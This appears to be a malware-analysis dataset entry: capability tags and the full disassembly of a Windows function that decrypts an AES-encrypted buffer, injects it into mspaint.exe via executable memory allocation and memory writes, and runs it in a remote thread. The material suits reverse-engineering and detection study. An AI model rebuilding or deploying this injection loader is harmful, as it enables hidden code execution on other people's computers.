Function at 0x1400014b0
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Execute command
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x70
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov edx, dword [0x14000617c]
call fcn.1400013d0
mov edx, dword [0x140006178]
mov r12, rax
call fcn.1400013d0
mov edx, dword [0x140006188]
mov rdi, rax
call fcn.1400013d0
mov edx, dword [0x140006174]
mov r14, rax
call fcn.1400013d0
mov edx, dword [0x140006170]
mov r13, rax
call fcn.1400013d0
mov edx, dword [0x140006180]
mov qword [rsp + 0x40], rax
call fcn.1400013d0
mov edx, dword [0x140006168]
mov r15, rax
call fcn.1400013d0
mov edx, dword [0x140006184]
mov rbx, rax
call fcn.1400013d0
mov edx, dword [0x14000616c]
mov rsi, rax
call fcn.1400013d0
xor edx, edx
mov dword [0x140005f20], 0x238
mov rbp, rax
lea ecx, [rdx + 2]
call rdi
lea rdx, [0x140005f20]
mov rcx, rax
mov rdi, rax
call rbx
lea rbx, [0x140005f4c]
lea rdx, str.mspaint.exe
xor eax, eax
nop dword [rax + rax]
movzx ecx, word [rbx + rax*2]
cmp cx, word [rdx + rax*2]
jne 0x140001617
movzx ecx, word [rbx + rax*2 + 2]
cmp cx, word [rdx + rax*2 + 2]
jne 0x140001617
add rax, 2
cmp rax, 0xc
jne 0x140001590
mov r8d, dword [0x140005f28]
lea rdx, [0x140003310]
lea rcx, str._s_Trying_to_open_a_handle_to_process___ld__n
mov dword [0x140006164], r8d
call fcn.140001370
mov r8d, dword [0x140006164]
xor edx, edx
mov ecx, 0x1fffff
call r14
mov qword [0x140006158], rax
test rax, rax
jne 0x14000167b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, dword [0x140006164]
lea rdx, [0x140003310]
mov r9d, eax
lea rcx, str._s_Can_not_get_a_handle_to_the_process___ld___error:__ld_n
call fcn.140001370
jmp 0x14000163e
lea rdx, [0x140005f20]
mov rcx, rdi
call rsi
test eax, eax
jne 0x140001582
lea rdx, [0x140003310]
lea rcx, str._s_Usage:_program.exe__PID__n
call fcn.140001370
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, 1
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.140001910
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov r8, rax
lea rdx, [0x140003310]
lea rcx, str._s_Got_a_handle_to_the_process__n___0x_p_n
call fcn.140001370
mov r9d, 0x18
mov dword [rsp + 0x48], 0x7e0
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
lea rcx, [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
lea rbx, [0x140005150]
test eax, eax
je 0x14000177c
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x58]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x14000177c
mov rcx, qword [rsp + 0x58]
lea rdx, [0x140005050]
xor r9d, r9d
mov r8d, 0x100
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x14000177c
mov r8, qword [rsp + 0x58]
lea rax, [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x14000177c
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbx
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x14000177c
mov rcx, qword [rsp + 0x50]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
movzx eax, byte [0x140005040]
xor edx, edx
mov rcx, qword [0x140006158]
mov r9d, 0x3000
mov r8d, 0x7e0
mov byte [0x140005150], al
mov dword [rsp + 0x20], 0x40
call r13
mov r8d, 0x7e0
mov qword [0x140005f18], rax
lea rdx, [0x140003310]
lea rcx, str._s_Allocated__zu_bytes_with_PAGE_EXECUTE_READWRITE_permissions_n
call fcn.140001370
mov rdx, qword [0x140005f18]
xor edi, edi
mov rcx, qword [0x140006158]
mov r9d, 0x7e0
mov r8, rbx
mov qword [rsp + 0x20], rdi
call qword [rsp + 0x40]
mov r8d, 0x7e0
lea rdx, [0x140003310]
lea rcx, str._s_Wrote__zu_bytes_to_process_memory_n
call fcn.140001370
mov r9, qword [0x140005f18]
lea rax, [0x140006160]
mov rcx, qword [0x140006158]
xor r8d, r8d
mov qword [rsp + 0x38], rax
xor edx, edx
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
call r12
mov qword [0x140005f10], rax
test rax, rax
jne 0x14000186a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [0x140003310]
lea rcx, str._s_Can_not_get_a_handle_to_the_thread__error:__ld_n
call fcn.140001370
mov rcx, qword [0x140006158]
call rbp
jmp 0x14000163e
mov r8d, dword [0x140006160]
lea rdx, [0x140003310]
mov r9, rax
lea rcx, str._s_Got_a_handle_to_the_thread___ld__n___0x_p_n
call fcn.140001370
mov rcx, qword [0x140005f10]
mov edx, 0xffffffff
call r15
lea rdx, [0x140003310]
lea rcx, str._s_Thread_finished_executing_n
call fcn.140001370
lea rdx, [0x140003310]
lea rcx, str._s_Cleaning_up_n
call fcn.140001370
mov rcx, qword [0x140005f10]
call rbp
mov rcx, qword [0x140006158]
call rbp
lea rdx, [0x140003310]
lea rcx, str._s_Finished__n
call fcn.140001370
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
jmp 0x140001650